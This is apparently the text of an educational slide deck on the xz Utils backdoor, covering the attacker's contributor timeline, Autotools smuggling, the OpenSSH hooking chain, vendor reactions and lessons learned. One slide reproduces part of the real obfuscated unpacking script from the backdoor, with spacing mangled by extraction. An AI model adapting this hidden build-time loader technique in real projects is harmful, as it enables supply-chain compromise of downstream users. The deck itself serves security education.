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GitHub user JiaT75 created

First xz contribution

strangers start criticizing Lasse 
on the mailing list

Jia gets direct git access

Jia signs a release for the first time

XZ Utils 5.6 released

backdoor got public
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GitHub
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Hit the news



Meet target audience

It’s best to attack the most popular. . .
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Autotools

configure.ac autoconf

Often handled
by upstream

Shipped in
a tarball

Makefile.in

Makefile

configure

Makefile.am automake

make

program
./configure && make && sudo make install



Autotools — Backdoor smuggling

configure.ac autoconf

Often handled
by upstream

Shipped in
a tarball

Makefile.in

Makefile

configure

Makefile.am automake

make

program
./configure && make && sudo make install

build-to-host.m4



Backdoor unpacking

xz -dc $top_srcdir/tests/files/$p | eval $i |

LC_ALL=C sed "s/\(.\) /\1\n/g" | LC_ALL=C awk

’BEGIN{FS="\n";RS="\n";ORS ="";m=256; for(i=0;i

<m;i++){t[sprintf ("x%c",i)]=i;c[i]=((i*7)+5)%

m;}i=0;j=0;for(l=0;l <4096;l++){i=(i+1)%m;a=c[

i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF

<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];
c[i]=b;c[j]=a;k=c[(a+b)%m]; printf "%c",(v+k)%

m}’ | xz -dc --single -stream | ((head -c +$N
> /dev/null 2>&1) && head -c +$W) >

liblzma_la -crc64 -fast.o || true

if ! test -f liblzma_la -crc64 -fast.o; then

exit 0

fi

cp .libs/liblzma_la -crc64_fast.o .libs/

liblzma_la -crc64 -fast.o || true



Backdoor loading

many popular distros patch OpenSSH server to use systemd
notifications

systemd depends on lzma

liblzma gets loaded into OpenSSH process and replaces
function RSA_public_decrypt with its own implementation
utilizing ’IFUNC’ functionality of glibc



Backdoor exploiting

compromised host

malicious command

connect, negotiate parameters

extract payload

call

hook

RSA_public_decrypt()
send RSA "key" with payload

OpenSSH process

liblzma
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Discovery



Reactions — Debian



Reactions — Ubuntu



Reactions — Kali



Reactions — Fedora



Reactions — OpenSUSE



Reactions — Gentoo



Reactions — Microsoft



Reactions — Official Bodies



Lasse Collin’s xz repo cleanup



New release without backdoor (2 weeks ago)



Lessons Learned

Decided to change their practices to mitigate attacks of this
kind:

CMake (the other build system supported by xz)

systemd (the init system rumoured to be bloated)

groff (typesetting system using Autotools)

GNU binutils (mainstream implementation of tools like ld and
objdump)

openSSH

Had interesting discussions as a result of the attack: autoconf,
automake, bug-gnulib, fedora-devel, debian-devel, oss-security

Universal advice: put SSH behind VPN
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Credits

Thank you for your attention :)

And thanks to the graphics folks. . .

XZ logo — Copyright (C) 2023 Jia Tan made by haxxors behind the
backdoor, distributed under the CC-BY-SA-4.0 license

the original Autotools diagram — Copyright (C) 2001-2024 Gentoo
Authors, distributed under the CC-BY-SA-4.0 license

Virus image — by Openclipart user utrescu, uploaded 2012
(released into public domain with CC Zero v1.0)

You can find this presentation sources here

https://git.koszko.org/AGH-xz-backdoor-presentation/

https://creativecommons.org/licenses/by-sa/4.0/
https://creativecommons.org/licenses/by-sa/4.0/
https://creativecommons.org/publicdomain/zero/1.0/legalcode.en
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